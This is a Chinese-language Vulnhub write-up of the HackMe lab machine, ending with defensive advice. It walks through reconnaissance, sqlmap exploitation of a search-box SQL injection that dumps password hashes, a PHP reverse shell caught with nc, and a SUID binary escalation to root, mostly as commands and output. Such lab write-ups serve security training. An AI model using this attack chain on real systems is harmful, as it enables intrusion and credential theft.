HackMe 靶机渗透测试(Vulnhub Writeup)

HackMe 靶机渗透测试(Vulnhub Writeup)

一、靶机与环境介绍

本次实战目标为 Vulnhub 平台的 HackMe 靶机,是一台基于 PHP + MySQL 的自研 Web 应用。完整攻击链为:信息收集 → 注册登录后定位搜索框 SQL 注入 → sqlmap 脱库拿到 superadmin 凭据 → 登录后台上传反弹 Shell → 利用 legacy 家目录下 root 拥有的 SUID 二进制 touchmenot 直接提权 root。该靶机不设置 flag,拿到 root 即结束。攻击机为 Kali Linux(192.168.153.162),靶机地址经扫描确认为 192.168.153.169。

二、信息收集

(一)存活主机扫描

复制代码
┌──(root㉿kali)-[~]
└─# arp-scan -l
 
Interface: eth0, type: EN10MB, MAC: 00:0c:29:d8:01:18, IPv4: 192.168.153.162
 
192.168.153.169 00:0c:29:9f:e6:e3       VMware, Inc.

(二)端口扫描

全端口扫描仅开放 22(SSH)与 80(HTTP),Web 服务为 Ubuntu 上的 Apache 2.4.34。

复制代码
┌──(root㉿kali)-[~]
└─# nmap -p- 192.168.153.169
 
22/tcp open  ssh
80/tcp  open  http
 
┌──(root㉿kali)-[~]
└─# nmap -p22,80 -sV -sC -O 192.168.153.169
 
22/tcp open  ssh     OpenSSH 7.7p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.34 ((Ubuntu))
|_http-server-header: Apache/2.4.34 (Ubuntu)
MAC Address: 00:0C:29:9F:E6:E3 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

(三)目录扫描与指纹识别

dirsearch 发现 login.php、register.php、config.php 与 uploads 目录,uploads 可列目录;whatweb 识别为 Bootstrap 3.3.7 + PHP 的自研登录系统,首页通过 Meta Refresh 跳转到 login.php。

复制代码
┌──(root㉿kali)-[~]
└─# dirsearch -u http://192.168.153.169
 
[14:05:32] 200 -    0B  - /config.php
[14:05:38] 200 -  527B  - /login.php
[14:05:38] 302 -    0B  - /logout.php  ->  login.php
[14:05:44] 200 -  594B  - /register.php
[14:05:49] 301 -  320B  - /uploads  ->  http://192.168.153.169/uploads/
[14:05:49] 200 -  459B  - /uploads/

┌──(root㉿kali)-[~]
└─# whatweb http://192.168.153.169/
 
http://192.168.153.169/login.php [200 OK] Apache[2.4.34], Bootstrap[3.3.7], Cookies[PHPSESSID], PHP, PasswordField[password], Title[Login]

三、搜索框 SQL 注入脱库

注册一个普通账号登录后,在站内搜索框处抓包(Burp 保存请求为 123.txt),发现搜索参数存在明显的 SQL 注入点。直接使用 sqlmap -r 模式跑全流程。

复制代码
# 枚举所有数据库
┌──(root㉿kali)-[~]
└─# python sqlmap.py -r 123.txt --dbs
 
Database: webapphacking
 
# 枚举表
┌──(root㉿kali)-[~]
└─# python sqlmap.py -r 123.txt -D webapphacking --tables
 
Table: users
 
# dump users 表
┌──(root㉿kali)-[~]
└─# python sqlmap.py -r 123.txt -D webapphacking -T users --dump

users 表共 7 条记录,口令均为 MD5,其中关键账号如下:

复制代码
+----+--------------+-------------+---------------------------------------------+
| id | name         | user        | pasword                                     |
+----+--------------+-------------+---------------------------------------------+
| 1  | David        | user1       | 5d41402abc4b2a76b9719d911017c592 (hello)    |
| 2  | Beckham      | user2       | 6269c4f71a55b24bad0f0267d9be5508 (commando) |
| 3  | anonymous    | user3       | 0f359740bd1cda994f8b55330c86d845 (p@ssw0rd) |
| 11 | superadmin   | superadmin  | 2386acb2cf356944177746fc92523983 (Uncrackable)|
| 13 | admin        | admin       | e10adc3949ba59abbe56e057f20f883e (123456)   |
+----+--------------+-------------+---------------------------------------------+

其中 superadmin/Uncrackable 为后台高权限账号,admin/123456 也可作为备用登录凭据。

四、superadmin 登录上传反弹 Shell

使用 superadmin/Uncrackable 登录后台,利用文件上传功能上传 PHP 反弹 Shell,落地路径为 /var/www/html/uploads/。攻击机本地 nc 监听 6666 端口,成功拿到 www-data Shell。

复制代码
┌──(root㉿kali)-[~]
└─# nc -lvvp 6666
 
listening on [any] 6666 ...
connect to [192.168.153.162] from 192.168.153.169 [192.168.153.169] 60208
 
www-data@hackme:/var/www/html/uploads$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@hackme:/var/www/html/uploads$ whoami
www-data

五、SUID 二进制 touchmenot 提权 root

回到 Web 目录后做本地信息收集:/etc/passwd 中除 root 外还有一个 hackme 用户;进一步在 /home/legacy 家目录下发现一个名为 touchmenot 的 ELF 二进制,属主为 root 且带 SUID 位(-rwsr--r-x)。

复制代码
www-data@hackme:/var/www/html$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
hackme:x:1000:1000:hackme:/home/hackme:/bin/bash
 
www-data@hackme:/var/www/html$ cd /home/legacy
www-data@hackme:/home/legacy$ ls -la
-rwsr--r-x 1 root root 8472 Mar 26  2019 touchmenot
 
www-data@hackme:/home/legacy$ file touchmenot
touchmenot: setuid ELF 64-bit LSB pie executable, x86-64, dynamically linked, not stripped

将该二进制通过 python3 -m http.server 下载回攻击机本地分析,strings 中直接出现 setuid、execl、/bin/bash 三个敏感符号,说明程序逻辑就是调用 setuid(0) 后 execl 拉起 root Shell。

复制代码
# 靶机上起临时 HTTP 服务
www-data@hackme:/home/legacy$ python3 -m http.server 8888
 
# 攻击机下载并分析
┌──(root㉿kali)-[~]
└─# wget http://192.168.153.169:8888/touchmenot
┌──(root㉿kali)-[~]
└─# strings touchmenot
 
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
execl
/bin/bash

直接在靶机上执行该 SUID 二进制,立即获得 root Shell:

复制代码
www-data@hackme:/home/legacy$ ./touchmenot
 
root@hackme:/home/legacy# python -c "import pty;pty.spawn('/bin/bash');"
root@hackme:/home/legacy# id
uid=0(root) gid=33(www-data) groups=33(www-data)
root@hackme:/home/legacy# whoami
root

六、总结

HackMe 靶机的完整攻击链如下:

  1. 端口扫描确认仅 22/80,目录扫描发现 login/register/uploads 等自研 PHP 应用路径;

  2. 注册登录后定位搜索框 SQL 注入,用 sqlmap -r 一键脱库,得到 superadmin/Uncrackable 等高权限凭据;

  3. 使用 superadmin 登录后台上传 PHP 反弹 Shell,拿到 www-data;

  4. 枚举家目录发现 /home/legacy/touchmenot 为 root 拥有的 SUID ELF,strings 显示其内部直接调用 setuid 与 /bin/bash,执行即 root。

对应的安全建议:① 搜索框、登录框等所有与数据库交互的参数必须使用预编译语句或参数化查询,杜绝字符串拼接;② 口令不应以 MD5 等弱哈希明文存储,且数据库中应严格隔离高权限账号;③ Web 上传功能应校验文件类型、重命名落地文件并禁止直接执行 PHP;④ 系统中带 SUID 位的二进制必须严格盘点,像 touchmenot 这种直接 setuid(0) 再拉起 /bin/bash 的调试程序绝不应保留在生产环境;⑤ 家目录权限应最小化,普通用户不应能读到其他用户家目录下的敏感二进制。

相关推荐
先途检测认证1 小时前
塑料、硅胶、不锈钢材质,欧盟食品接触的测试项目有什么区别?
笔记·材质
罗斯8391 小时前
Datalog与安全分析
算法·安全·网络安全
橙色云-智橙协同研发1 小时前
电子高科技行业:机械与电子(MCAD & ECAD)如何协同?
大数据·运维·服务器·人工智能·安全
跨知易知识产权2 小时前
美国发明专利和外观专利保护期限分别是多久,起算时间怎么界定?
笔记
上海广测检测科技有限公司2 小时前
音响网络安全认证:联网音频设备的全球合规法规与测试要点解读
网络·经验分享·安全
wdfk_prog2 小时前
LWIP教程 16:从 MTU 到 `ip4_frag()` / `ip4_reass()`——IPv4 分片、重组、超时与内存压力
运维·服务器·网络·笔记·学习
Source.Liu2 小时前
【A11】拥有者模式平台架构笔记
windows·笔记·架构·rust
Xudde.2 小时前
AI-Web1 靶机渗透测试(Vulnhub Writeup)
笔记·学习·安全·web安全
黄聪的笔记本2 小时前
阿里云香港服务器Workbench远程连接,没法SSH连接,22端口安全组已经放开
服务器·安全·阿里云